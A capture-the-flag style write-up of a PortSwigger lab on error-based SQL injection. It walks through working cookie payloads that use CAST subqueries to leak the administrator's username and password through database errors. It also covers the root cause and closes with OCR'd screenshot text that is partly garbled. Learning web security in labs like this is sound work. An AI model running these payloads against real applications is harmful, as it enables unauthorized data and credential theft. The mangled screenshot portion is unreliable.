

Lab: Visible error-based SQL injection
Platform: PortSwigger
Category: SQL Injection
Difficulty: Apprentice
Tools: Burp Suite

1. Objective

The goal of this lab is to use an error-based SQL injection to retrieve the password of the administrator user and then log in to the account.

2. Impact

This vulnerability can allow an attacker to retrieve sensitive data from the database, such as usernames and passwords, by injecting SQL into the TrackingId cookie and using database errors to leak the data.

3. Steps to Solve

Step 1: Find the injection point

I opened the lab and browsed the website normally to generate some requests. Then I opened Burp Suite → Proxy → HTTP history and looked for a request containing a TrackingId cookie. I sent the request to Repeater so I could modify the cookie and test it.

Step 2: Test the TrackingId cookie

In Repeater, I added a single quote (') to the end of the TrackingId value and sent the request.

- TrackingId=27nVQmFsrkcav3u'

The response returned a SQL error containing an "unclosed string literal" message. This indicated that the TrackingId value was being used in a SQL query.

Step 3: Add a SQL comment

I needed to prevent the rest of the original SQL query from breaking my injected query. I added the SQL comment:

- '--

I sent the request again and the previous SQL error disappeared. This confirmed that the injection was working.

Step 4: Test the CAST technique

The application did not show the results of the SQL query directly, so I needed another way to make the database return the data.

I tried using CAST() with a simple subquery:

- TrackingId=27nVQmFsrkcav3u'AND CAST((SELECT 1) AS int)--

After sending the request, I got a different error saying that the AND condition must be a boolean expression.

So I modified the condition by adding 1=:

- TrackingId=27nVQmFsrkcav3u' AND 1=CAST((SELECT 1) AS int)--

I sent the request again and the error disappeared. This suggested that the query was valid.

Step 5: Retrieve the usernames

Now that the query was working, I changed the subquery to retrieve usernames from the users table:

- TrackingId=27nVQmFsrkcav3u' AND 1=CAST((SELECT username FROM users) AS int)--

After sending the request, I got the original SQL error again.

Looking at the request, I noticed that the payload was being truncated because of a character limit. This meant that the -- comment was not included at the end of the query.

Step 6: Shorten the TrackingId value

To make the payload fit within the character limit, I removed the original value of the TrackingId cookie and kept only the injection.

- TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--

I sent the request again and received a new database error saying that the query returned more than one row.

This showed that the query was running correctly, but the subquery was returning multiple usernames.

Step 7: Retrieve the administrator username

I needed the subquery to return only one row, so I added LIMIT 1:

- TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--

I sent the request again.

This time, the error message leaked the first username from the users table:

ERROR: invalid input syntax for type integer: "administrator"

So I now knew that the username was administrator.

Step 8: Retrieve the administrator password

Since I knew the username, I changed the query to retrieve the password column instead:

- TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

I sent the request again and checked the error message.

The database returned the administrator's password inside the error message.

I copied the password to use it in the login page.

Step 9: Log in as administrator

I went back to the lab website and opened the login page.

I entered:

Username: administrator

Password: used the leaked password

4. Result

The password was successfully leaked through the SQL error message.

I then used the leaked password to log in as:

administrator

5. Root Cause

The vulnerability exists because the application uses the TrackingId cookie value inside a SQL query without properly parameterizing it.

Another problem is that the application returns detailed database errors to the user.

Because of this, I was able to modify the SQL query and use the error message to retrieve data from the database.

6. Conclusions and Evaluation

What did I learn?

I learned how error-based SQL injection can be used when the application does not directly display the results of a query. I also learned how CAST() can be used to make the database include sensitive data in an error message.

Another thing I learned was how practical issues such as character limits can affect an SQL injection payload.

Lab Rating

4/5 ★★★★★

Did I face any challenges?

The main challenge was the character limit on the TrackingId cookie. My first payload was too long, so part of the SQL comment was removed and the query failed. I also had to adjust the CAST() syntax and use LIMIT 1 because the query initially returned more than one row.

7. References

- PortSwigger Web Security Academy - SQL Injection
 - PortSwigger Web Security Academy - Visible error-based SQL injection Lab
 - OWASP SQL Injection Prevention Cheat Sheet
-

8. Screenshots

Burp ProjectIntruderRepeaterViewHelpHackerVortor

DashboardTargetProxyIntruderRepeaterCollaboratorSequencerDecoderComparatorLoggerOrganizerExtensionsJWT EditorJSON Web TokensHackerVortor

InterceptHTTP historyWebSockets historyMatch and replaceProxy settings

Filter settings:Hiding CSS and image content:hiding specific extensionsPro version onlyFilter on

#	Host	Method	URL	Params	Status code	Length	MIME type	Extension	Title	Notes	TLS	IP	Cookies	Time	Listener port	Start response...
5701	https://googleads.g.doubleclick.	GET	/pagead/js?id=1		✓	200	836	JSO			✓	142.250.117.155		01:04:54.28..	8080	81
5699	https://googleads.g.doubleclick.	GET	/pagead/js			302	745	HTML			✓	142.250.117.155		01:04:53.28..	8080	116
5702	https://d680019047ea83a81e.web-security-academy.net	GET	/my-account			302	66				✓	79.125.84.16		01:04:54.28..	8080	125
5703	https://d680019047ea83a81e.web-security-academy.net	POST	/login			200	3356	HTML	Visible error-based SQL ..		✓	79.125.84.16		01:04:54.28..	8080	107
5704	https://d680019047ea83a81e.web-security-academy.net	GET	/academyLabHeader			101	147				✓	79.125.84.16		01:04:55.28..	8080	107
5705	https://push.services.mozilla.com	GET	/			101	215				✓	34.107.243.93		01:06:24.28..	8080	318

RequestPrettyRawHexHackerVortor

GET /my-account HTTP/1.1
Host: d680019047ea83a81e.web-security-academy.net
Cookie: TrackingId=a7c0rWzPwYnRvGtZy; sessionid=bQmDgqjNk0W7Jl2oMFPx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:114.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: https://d680019047ea83a81e.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Patch-OAS: account
Sec-Patch-Origin: my-account
Sec-Patch-Site: user-region
Sec-Patch-Type: T1
Priority: uir, 1
Te: trailers
Connection: keep-alive

ResponsePrettyRawHexRenderHackerVortor

1 HTTP/1.1 302 Found
Location: /login
Server-Timing: name=st01ib
Content-Length: 0

Event log (39)

All issues

Burp ProjectIntruderRepeaterViewHelpHackerVortorBurp Suite Community Edition v2026.7.3 - Temporary Project

DashboardTargetProxyIntruderRepeaterCollaboratorSequencerDecoderComparatorLoggerOrganizerExtensionsJWT EditorJSON Web TokensHackerVortor

1617X+SendCancel<>Burp All

Target: https://d680019047ea83a81e3987600920fca.web-security-academy.netHTTPT2

RequestPrettyRawHexHackerVortor

GET /filter?username=admin HTTP/1.1
Host: d680019047ea83a81e3987600920fca.web-security-academy.net
Cookie: TrackingId=a7c0rWzPwYnRvGtZy; sessionid=bQmDgqjNk0W7Jl2oMFPx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:114.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Referer: https://d680019047ea83a81e3987600920fca.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Patch-OAS: account
Sec-Patch-Origin: my-account
Sec-Patch-Site: user-region
Sec-Patch-Type: T1
Priority: uir, 1
Te: trailers

ResponsePrettyRawHexRenderHackerVortor

Web Security AcademyLAB Not solvedVisible error-based SQL injectionBack to lab homeback to lab descriptionERROR: invalid input syntax for type integer: "administrator"
ERROR: invalid input syntax for type integer: "administrator"

InspectorSelection59 (kb)

Selected text' AND INCAST(SELECT username FROM users LIMIT 1) AS jnk)--Decoded from: Select' AND INCAST(SELECT username FROM users LIMIT 1) AS jnk>--CancelApply changes

Request attributes2Request query parameters1Request body parameters0Request cookies2Request headers18Response headers3Custom actions

DoneEvent log (39)

All issues

Memory: 462.7MB of 15.91GBDisabled

16 17 x +

Send Cancel < > Burp AI

Target: https://0a680019047ea83a1e39876009200fa.web-security-academy.net HTTP/2

Request

Pretty Raw Hex Hackvortor

```
1 GET /filtercategoryPete HTTP/2
2 Host: 0a680019047ea83a1e39876009200fa.web-security-academy.net
3 Cookie: Track=ing100; JSESSIONID=00000000000000000000000000000000; JSESSIONID=00000000000000000000000000000000
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US;q=0.9
7 Accept-Encoding: gzip, deflate, br
8 Referer: https://0a680019047ea83a1e39876009200fa.web-security-academy.net/
9 Upgrade-Insecure-Requests: 1
10
11
12
13
14
15
16
17
```

Response

Pretty Raw Hex Render Hackvortor

WebSecurity Academy Visible error-based SQL injection LAB Not solved

Back to lab home
Back to lab description >>

ERROR: invalid input syntax for type integer: "11v7sc2mwzgrt4935qk"
ERROR: invalid input syntax for type integer: "11v7sc2mwzgrt4935qk"

Inspector

Request attributes 2

Request query parameters 1

Request body parameters 0

Request cookies 2

Request headers 18

Response headers 3

2,644 bytes | 101 millis

Done

Event log (39) All issues

Lab: Visible error-based SQL inject: x Visible error-based SQL inject: x +

0a680019047ea83a1e39876009200fa.web-security-academy.net/my-account?id=administrator

WebSecurity Academy Visible error-based SQL injection

Back to lab description >>

LAB Solved

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) [Continue learning >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: administrator

Email

Update email